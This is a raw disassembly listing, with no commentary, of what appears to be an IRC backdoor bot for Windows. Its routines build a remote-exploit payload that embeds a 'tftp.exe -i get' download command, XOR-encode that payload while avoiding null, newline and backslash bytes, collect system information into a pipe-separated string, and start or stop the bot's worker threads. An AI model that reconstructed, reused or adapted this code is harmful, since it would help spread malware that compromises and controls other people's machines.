loc_40AD74:				; CODE XREF: ___:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------

loc_40AD84:				; CODE XREF: ___:0040AD7Bj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431618
		jz	short loc_40AD97

loc_40AD92:				; CODE XREF: ___:0040AD52j
					; ___:0040AD62j
		mov	esi, offset dword_431614

loc_40AD97:				; CODE XREF: ___:0040AD32j
					; ___:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_43160C
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB

loc_40ADB5:				; CODE XREF: ___:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A8
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5

loc_40ADDB:				; CODE XREF: ___:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26A0861h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CB9F0
		test	eax, eax
		mov	eax, offset off_43163C
		jnz	short loc_40AE19
		mov	eax, offset byte_43DB98

loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_431634
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------

loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CB9F0
		test	eax, eax
		mov	eax, offset off_43163C
		jnz	short loc_40AE44
		mov	eax, offset byte_43DB98

loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h

loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D92C

loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------

loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9B8
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------

loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D930[eax*4]
		pop	ecx

loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DB98
		mov	dword ptr [ebp-0B8h], 94h
		nop
		call	near ptr 26E0528h
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431630

loc_40AF38:				; CODE XREF: ___:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_43162C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------

loc_40AF48:				; CODE XREF: ___:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431628
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------

loc_40AF57:				; CODE XREF: ___:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_431624
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------

loc_40AF67:				; CODE XREF: ___:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431620
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------

loc_40AF80:				; CODE XREF: ___:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------

loc_40AF90:				; CODE XREF: ___:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431694
		jz	short loc_40AFA3

loc_40AF9E:				; CODE XREF: ___:0040AF5Ej
					; ___:0040AF6Ej
		mov	edi, offset dword_431690

loc_40AFA3:				; CODE XREF: ___:0040AF3Fj
					; ___:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB89C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_43168C
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------

loc_40AFC1:				; CODE XREF: ___:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431688
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------

loc_40AFDF:				; CODE XREF: ___:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_431684
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431680
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------

loc_40AFFD:				; CODE XREF: ___:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_43167C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------

loc_40B01B:				; CODE XREF: ___:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431670
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_43166C

loc_40B03C:				; CODE XREF: ___:0040AFBFj
					; ___:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------

loc_40B086:				; CODE XREF: ___:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------

loc_40B098:				; CODE XREF: ___:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360

loc_40B0A7:				; CODE XREF: ___:0040B096j
		add	esp, 0Ch

loc_40B0AA:				; CODE XREF: ___:0040B084j
		nop
		call	near ptr 26A0861h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115

loc_40B0F0:				; CODE XREF: ___:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A8
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0

loc_40B115:				; CODE XREF: ___:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43172C, eax
		lea	eax, [edi+1]
		mov	dword_43174D, eax
		lea	eax, [edi+17h]
		mov	dword_431745, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316C8
		push	ebx
		mov	dword_43175B, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431751
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F

loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------

loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi

loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx

loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2

loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]

loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA

loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h

loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319

loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------

loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB28
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349

loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344

loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx

loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D

loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB28, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316B0
		push	[ebp+arg_0]
		mov	byte_4316BD, cl
		mov	byte_4316C1, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------

loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431698
		push	[ebp+arg_0]
		mov	word_4316A6, cx
		mov	byte_4316AB, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h

loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]

loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4

loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx

loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E720

loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB720
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------

loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E720[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E920[esi], eax
		and	dword_43E924[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E928[esi], 0
		mov	dword_43E92C[esi], eax
		and	byte_43E938[esi], 0
		pop	esi

loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp

; ---------------------------------------------------------------------------
byte_40B425	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2946o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2E4B8BE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 43178Ch, 0FF0C75FFh, 0D2E80875h
		dd 83FFFFE3h, 0FF3314C4h, 43E720BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C54C68FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h,	0C68124C4h
		dd 234h, 20FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E934[esi]
		lea	edi, dword_43E934[esi]
		call	near ptr 26A0933h
		nop
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp

loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E928[esi]
		mov	dword_43E920[esi], ebx
		mov	dword_43E924[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx

loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E92C[esi]
		mov	byte ptr dword_43E720[esi], bl
		mov	byte_43E938[esi], bl
		push	dword ptr [edi]
		call	dword_4CBA7C
		lea	esi, dword_43E930[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBA7C
		mov	[esi], ebx
		pop	edi

loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E720

loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
		inc	ebx

loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB720
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E924

loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB

loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]

loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB924
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E920

loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax

loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB920
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E920

loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB920
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx

loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------

loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h

loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BD0Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E934[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	dword_43E924[eax], ecx
		mov	dword_43E928[eax], ecx
		mov	dword_43E92C[eax], ecx
		mov	dword_43E930[eax], ecx
		mov	byte ptr dword_43E720[eax], cl
		mov	byte_43E938[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
		jz	short loc_40B74C
		xor	eax, eax
		cmp	cl, dl
		setz	al

